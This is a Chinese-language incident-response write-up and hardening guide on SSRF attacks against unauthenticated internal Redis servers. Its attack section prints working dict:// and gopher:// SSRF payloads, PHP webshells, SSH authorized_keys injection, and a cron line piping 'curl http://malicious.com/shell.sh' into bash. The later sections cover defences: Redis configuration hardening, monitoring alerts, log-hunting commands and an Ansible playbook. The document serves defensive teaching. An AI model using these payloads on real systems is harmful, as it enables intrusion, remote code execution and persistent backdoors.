从一次应急响应复盘:Redis未授权访问如何被SSRF“远程遥控”写Shell 从应急响应视角拆解SSRF攻击链Redis未授权访问的实战防御指南凌晨3点15分安全团队的告警系统突然响起刺耳的蜂鸣声。监控显示某台Web服务器正在异常访问内网的Redis服务而运维同事从未配置过此类连接。两小时后我们在网站的upload目录下发现了陌生的PHP文件——这是一起典型的SSRF结合Redis未授权访问的攻击事件。本文将基于真实应急响应案例还原攻击者如何通过SSRF漏洞遥控内网Redis服务并最终写入Webshell的全过程。1. 攻击链全景还原从SSRF到Redis入侵1.1 初始攻击入口SSRF漏洞的发现与利用攻击者通常通过以下方式发现SSRF漏洞对Web应用中的URL参数进行模糊测试检查文件上传、PDF生成等功能的对外请求利用DNS重绑定技术绕过IP限制典型攻击日志特征2023-05-17T03:15:22.451Z GET /export?urlhttp://192.168.1.100:6379/info HTTP/1.1 200 342 2023-05-17T03:15:25.783Z GET /export?urldict://192.168.1.100:6379/info HTTP/1.1 200 2151.2 内网Redis的探测与认证绕过当攻击者通过SSRF接触到内网Redis服务时会立即进行服务指纹识别探测方式预期响应特征风险等级HTTP协议探测返回ERR协议错误低DICT协议探测返回Redis版本信息高GOPHER协议探测支持多命令执行严重未授权访问验证命令redis-cli -h 192.168.1.100 -p 6379 INFO # 若返回服务器信息且无AUTH错误则存在未授权访问2. 攻击技术深度解析协议利用与持久化技术2.1 多协议攻击手法对比攻击者会根据网络环境选择不同协议DICT协议利用特点单次只能执行一条命令适合快速探测和简单操作典型利用路径dict://192.168.1.100:6379/CONFIG SET dir /var/www/html dict://192.168.1.100:6379/CONFIG SET dbfilename shell.phpGOPHER协议高级利用支持多命令连续执行可完成复杂攻击链示例攻击流程gopher://192.168.1.100:6379/_AUTH%2520attacker_pass%250a FLUSHALL%250a SET shell ?php system($_GET[cmd]);?%250a CONFIG SET dir /var/www/html%250a CONFIG SET dbfilename webshell.php%250a SAVE%250a2.2 多种持久化技术剖析攻击者常用的后门写入方式Webshell写入CONFIG SET dir /var/www/html CONFIG SET dbfilename backdoor.php SET payload \n\n?php eval($_POST[cmd]);?\n\n SAVESSH公钥注入(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) | redis-cli -h 192.168.1.100 -x set ssh_key redis-cli -h 192.168.1.100 CONFIG SET dir /root/.ssh redis-cli -h 192.168.1.100 CONFIG SET dbfilename authorized_keys redis-cli -h 192.168.1.100 SAVE定时任务植入CONFIG SET dir /var/spool/cron CONFIG SET dbfilename root SET payload \n\n*/5 * * * * curl http://malicious.com/shell.sh | bash\n\n SAVE3. 防御体系构建从基础加固到深度防护3.1 Redis服务基础加固清单必须实施的加固措施认证配置# redis.conf requirepass ComplexPassw0rd!# rename-command CONFIG 网络隔离bind 127.0.0.1 protected-mode yes权限控制useradd -r -s /bin/false redisuser chown -R redisuser:redisuser /var/lib/redis3.2 高级防御策略网络层防护使用网络策略限制Redis端口访问为Redis服务配置独立的VLAN部署IDS规则检测异常Redis协议流量应用层防护矩阵防护层面具体措施实施难度协议禁用非业务必要协议如DICT中请求验证实施严格的SSRF过滤规则高行为监控建立Redis命令审计日志中容器化使用Docker部署并限制能力高关键监控指标# Prometheus监控规则示例 - alert: RedisConfigChange expr: changes(redis_config_set_commands_total[5m]) 0 for: 2m labels: severity: critical4. 应急响应实战攻击痕迹排查与溯源4.1 入侵指标(IOC)收集Redis日志关键检查点grep -E CONFIG|SAVE|SLAVEOF|MODULE /var/log/redis/redis.log文件系统可疑痕迹/var/www/html目录下异常.php文件/root/.ssh/authorized_keys最近修改/var/spool/cron/下异常任务内存取证命令redis-cli --latency -h 192.168.1.100 # 检测异常连接 netstat -tulnp | grep redis # 检查异常连接4.2 攻击时间线重建基于日志还原攻击过程的示例方法提取Web日志中的SSRF请求awk /export?urlredis/{print $4,$7} access.log | sort -k1交叉关联Redis日志时间戳grep -n CONFIG SET /var/log/redis/redis.log建立攻击事件序列表格时间戳攻击阶段关键操作2023-05-17T03:15:22Z初始探测DICT协议INFO命令2023-05-17T03:17:06Z配置修改CONFIG SET dir /var/www/html2023-05-17T03:18:41ZWebshell写入SET payload SAVE5. 企业级防护架构设计5.1 分层防御体系云环境下的防护方案graph TD A[Web应用防火墙] -- B[SSRF过滤规则] B -- C[网络ACL] C -- D[Redis安全组] D -- E[实例级防护] E -- F[审计日志]5.2 自动化安全运维Ansible加固Playbook示例- name: Harden Redis Server hosts: redis_servers tasks: - name: Update redis.conf template: src: templates/redis.conf.j2 dest: /etc/redis/redis.conf notify: restart redis - name: Set filesystem permissions file: path: /var/lib/redis owner: redis group: redis mode: 0750关键加固参数模板# redis.conf.j2 protected-mode yes rename-command FLUSHALL rename-command CONFIG rename-command EVAL requirepass {{ redis_password }}在多次应急响应中我们发现攻击者常利用业务高峰期的监控盲区进行入侵。某次事件中攻击者特意选择在系统备份时段进行操作利用备份进程的高负载掩盖其恶意活动。这提醒我们需要建立异常行为基线而不仅是依赖固定规则检测。